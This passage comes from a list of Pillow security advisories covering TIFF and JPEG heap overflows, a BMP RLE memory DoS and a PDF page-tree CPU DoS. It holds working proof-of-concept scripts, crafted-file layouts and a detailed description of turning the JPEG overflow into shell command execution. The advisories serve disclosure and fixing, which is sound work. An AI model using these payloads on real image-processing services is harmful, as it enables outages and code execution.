rows x 8 bytes + 8-byte header = 65536 bytes, i.e. the data ends exactly at the sink's initial 64 KiB buffer; - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes and goes at 65536 + 126 (the 10-entry IFD sits in between). The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198): the last 126 bytes of the description land past the end of the heap block. \"\"\" w, h = 7, 8191 # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes strip = b\"\".join(b\"\\x06\" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h)) desc = b\"D\" * 65535 + b\"\\x00\" strip_off, desc_off = 8, 8 + len(strip) ifd_off = desc_off + len(desc) entries = [ (256, 4, 1, w), # ImageWidth (257, 4, 1, h), # ImageLength (258, 3, 1, 8), # BitsPerSample (259, 3, 1, 32773), # Compression = PackBits (inherited by save()) (262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero (270, 2, len(desc), desc_off), # ImageDescription (carried into save() via tag_v2) (273, 4, 1, strip_off), # StripOffsets (277, 3, 1, 1), # SamplesPerPixel (278, 4, 1, h), # RowsPerStrip (279, 4, 1, len(strip)), # StripByteCounts ] ifd = struct.pack(\" heap overflow crashed the process: {overflow}\\n\") # --------------------------------------------------------------------------- # Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill # fresh allocations with 0x55, so never-written bytes become visible. # --------------------------------------------------------------------------- STALE = r''' import io, random from PIL import Image random.seed(1) im = Image.new(\"RGB\", (300, 300)) # noise -> ~360 KB LZW, so the sink must realloc() im.putdata([tuple(random.randrange(256) for _ in \"rgb\") for _ in range(300 * 300)]) # odd-length ASCII tags: libtiff skips one pad byte after each kw = dict(compression=\"tiff_lzw\", description=\"abcdef\", software=\"xyz0\", tiffinfo={315: \"artist\", 33432: \"copyright!\", 306: \"2024:01:01 00:00:00\"}) im.save(\"ref.tif\", \"TIFF\", **kw) buf = io.BytesIO() im.save(buf, \"TIFF\", **kw) a, b = open(\"ref.tif\", \"rb\").read(), buf.getvalue() for i in (i for i in range(len(a)) if a[i] != b[i]): print(f\" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}\") ''' stale = run(STALE, MALLOC_PERTURB_=\"170\").stdout print(\"same image, same options, saved to a file path vs. to a BytesIO:\") print(stale or \" outputs identical\") leak = \"BytesIO 0x55\" in stale print(f\"-> BytesIO output contains never-written heap bytes: {leak}\\n\") print(\"BUG\" if overflow or leak else \"OK\") ```
---"}, {"id": "CVE-2026-96638", "fix_versions": ["13.0.0"], "aliases": ["GHSA-24rc-8hj2-v98c"], "description": "## Summary BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches. ## Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84) ## Root cause BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length: - delta escape (line 370): data += b\"\\x00\" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration. - absolute mode (line 385): data += bytes_read (up to 255). Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny. ## Reproduction Python 3.13, Pillow HEAD e7a7ea84 Attached: pillow_poc_bmp_rle_dos.py A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file. ## Suggested fix Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343. Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew) [pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)"}, {"id": "CVE-2026-96640", "fix_versions": ["13.0.0"], "aliases": ["GHSA-mrfp-p49p-3hf2"], "description": "### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ### Details #### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`. #### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get(\"append\", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\" ) pages = [] for kid in page_node[b\"Kids\"]: kid_object = self.read_indirect(kid) if kid_object[b\"Type\"] == b\"Page\": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees. ### PoC Environment used for validation: - OS/runtime: Linux, Python `3.13.11` - Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Latest release tested: Pillow `12.3.0` - The proof uses only synthetic in-memory PDFs and does not contact the network. Save this as `poc_pillow_pdf_page_tree_dag.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import io import json import sys import time from PIL import Image, PdfParser import PIL def make_page_tree_pdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError(\"fanout must be 1 or 2\") objects: list[bytes] = [b\"<< /Type /Catalog /Pages 2 0 R >>\"] for object_id in range(2, depth + 3): next_id = object_id + 1 kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout)) parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode() objects.append(b\"<< /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" >>\") objects.append(f\"<< /Type /Page /Parent {depth + 2} 0 R >>\".encode(\"ascii\")) result = bytearray(b\"%PDF-1.4\\n\") offsets = [0] for object_id, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\")) result.extend(value) result.extend(b\"\\nendobj\\n\") xref_offset = len(result) result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\")) result.extend(b\"0000000000 65535 f \\n\") for offset in offsets[1:]: result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\")) result.extend( f\"trailer\\n<< /Size {len(objects) + 1} /Root 1 0 R >>\\n\" f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\") ) return bytes(result) def run_case(depth: int, fanout: int) -> dict[str, object]: payload = make_page_tree_pdf(depth, fanout) expected_refs = fanout ** (depth + 1) start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observed_refs = len(pdf.pages) distinct_refs = len(set(pdf.pages)) parse_seconds = time.monotonic() - start output = io.BytesIO(payload) start = time.monotonic() Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True) append_seconds = time.monotonic() - start return { \"fanout\": fanout, \"depth\": depth, \"input_bytes\": len(payload), \"expected_refs\": expected_refs, \"observed_refs\": observed_refs, \"distinct_refs\": distinct_refs, \"parse_seconds\": round(parse_seconds, 6), \"append_seconds\": round(append_seconds, 6), \"output_bytes_after_append\": len(output.getvalue()), } def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit(\"depth must be between 0 and 16\") linear = run_case(depth, fanout=1) shared_dag = run_case(depth, fanout=2) checks = { \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1, \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"] == shared_dag[\"expected_refs\"], \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1, \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] <= 2048, \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"] > linear[\"input_bytes\"] and shared_dag[\"output_bytes_after_append\"] > shared_dag[\"input_bytes\"], } result = { \"pillow_version\": PIL.__version__, \"pillow_file\": PIL.__file__, \"depth\": depth, \"linear_control\": linear, \"shared_dag_candidate\": shared_dag, \"checks\": checks, \"overall_passed\": all(checks.values()), } print(json.dumps(result, indent=2, sort_keys=True)) return 0 if result[\"overall_passed\"] else 1 if __name__ == \"__main__\": raise SystemExit(main()) ``` Run: ```bash python3 poc_pillow_pdf_page_tree_dag.py ``` Expected result: ```text \"overall_passed\": true \"linear_control\": observed_refs == 1 \"shared_dag_candidate\": input_bytes == 1410 \"shared_dag_candidate\": observed_refs == 8192 \"shared_dag_candidate\": distinct_refs == 1 ``` Observed on current `main` / `13.0.0.dev0`: ```text 1410-byte input -> 8192 observed page refs -> 9.563007s append ``` Observed on Pillow `12.3.0`: ```text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append ``` For comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs. ### Impact This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route. The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`. Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open(). This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion. ### Remediation Reject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`. One possible fix is to pass traversal state through `linearize_page_tree()`: - Track active `/Pages` references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references. Suggested regression tests: - A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`. - A normal nested linear page tree should continue to append successfully."}, {"id": "CVE-2026-96778", "fix_versions": ["13.0.0"], "aliases": ["GHSA-g7cr-3p24-7wf7"], "description": "``` ============================================================================ Heap buffer overflow writing JPEG comment after ICC profile fills buffer Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash. The bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds. Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved. The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation. The unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0. ## Details `ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 \u2014 the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) \u2014 ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`. A JPEG laid out as ``` FFD8 SOI FFE2 \"ICC_PROFILE\\0\" 01 01 <65498 bytes> -> im.info[\"icc_profile\"] FFFE -> im.info[\"comment\"] ``` opened with `Image.open()` and re-saved with the usual colour-profile-preserving call ```python im.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\")) ``` kills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it \u2014 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata. ### Code path The buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment: ```python # src/PIL/JpegImagePlugin.py:859-862 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. # Ensure that our buffer is big enough. Same with the icc_profile block. bufsize = max(len(exif) + 5, len(extra) + 1) ``` `ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19\u00d71 image). The \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining: ```c // src/libImaging/JpegEncode.c:302-337 case 3: if (context->extra) { unsigned int n = context->extra_size - context->extra_offset; if (n > context->destination.pub.free_in_buffer) { n = context->destination.pub.free_in_buffer; } memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n); context->destination.pub.next_output_byte += n; context->destination.pub.free_in_buffer -= n; context->extra_offset += n; if (context->extra_offset >= context->extra_size) { state->state++; // done -> fall into case 4, even with free_in_buffer == 0 } else { break; } } \u2026 case 4: if (context->comment) { jpeg_write_marker(&context->cinfo, JPEG_COM, (unsigned char *)context->comment, context->comment_size); // :330 \u2014 no space check } state->state++; case 5: if (1024 > context->destination.pub.free_in_buffer) { // passes: free_in_buffer is now ~2^64 break; } \u2026 jpeg_write_scanlines(\u2026) \u2026 ``` Every other emitting state is guarded \u2014 state 2 requires `rawExifLen + 5 <= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded `jpeg_write_marker()` call was introduced in `e50ae85ea406` (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly. With 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is ```c /* jcmarker.c */ *(dest->next_output_byte)++ = (JOCTET)val; if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); } ``` i.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (\u2248100 KB for a 256\u00d7256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (\u2248167000) as the byte count and `_encode()` calls `_PyBytes_Resize(&buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk. All three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info[\"icc_profile\"]` (`:238-241`) and stores the COM payload in `im.info[\"comment\"]` (`:194`); `_save()` forwards the comment on its own \u2014 `comment = info.get(\"comment\", im.info.get(\"comment\"))` (`:808`) \u2014 so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info[\"icc_profile\"]` and a `tEXt` chunk keyed `comment` becomes `im.info[\"comment\"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open \u2192 thumbnail \u2192 convert(\"RGB\") \u2192 save(\"JPEG\", icc_profile=\u2026)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `\"Created with GIMP\"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker. ### What lies behind the buffer The buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes \u2014 an indirect call through a function pointer (`cinfo->main->process_data`) read from bytes the file supplied. ## Impact Any service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get(\"icc_profile\")` \u2014 thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140\u2013210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves. It does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it \u2014 libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards \u2014 is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command \u2014 the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context->comment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure \u2014 present or future \u2014 is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds. ## Reproducing `repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`. The script builds a valid 256\u00d7256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic. Each file goes through the same application code in a child `python3 -X faulthandler` process: ```python im = Image.open(BytesIO(data)) im.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"]) ``` 1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless. 2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info[\"comment\"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer. Expected output: the control prints `save returned normally` and `-> exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-> exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`. ## Suggested fix The attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer: ```diff --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( ``` The encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer \u2014 with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b\"\"`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass. The C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError(\"Comment is too long\")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` \u2192 `OSError`. Independently, the \"+ 1 spare byte\" / \"+ 5\" reasoning in `_save()` under-counts by the 18\u201320 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting. ## The patch Check free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save Applies to `src/libImaging/JpegEncode.c` at the commit above. ```diff diff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py index b361aef2e..f884883c4 100644 --- a/Tests/test_file_jpeg.py +++ b/Tests/test_file_jpeg.py @@ -227,6 +227,16 @@ class TestFileJpeg: im1 = self.roundtrip(hopper(), icc_profile=icc_profile) assert im1.info.get(\"icc_profile\") == (icc_profile or None) + def test_icc_big_comment(self) -> None: + # The ICC profile may fill the encoder buffer exactly, in which case the + # comment has to be 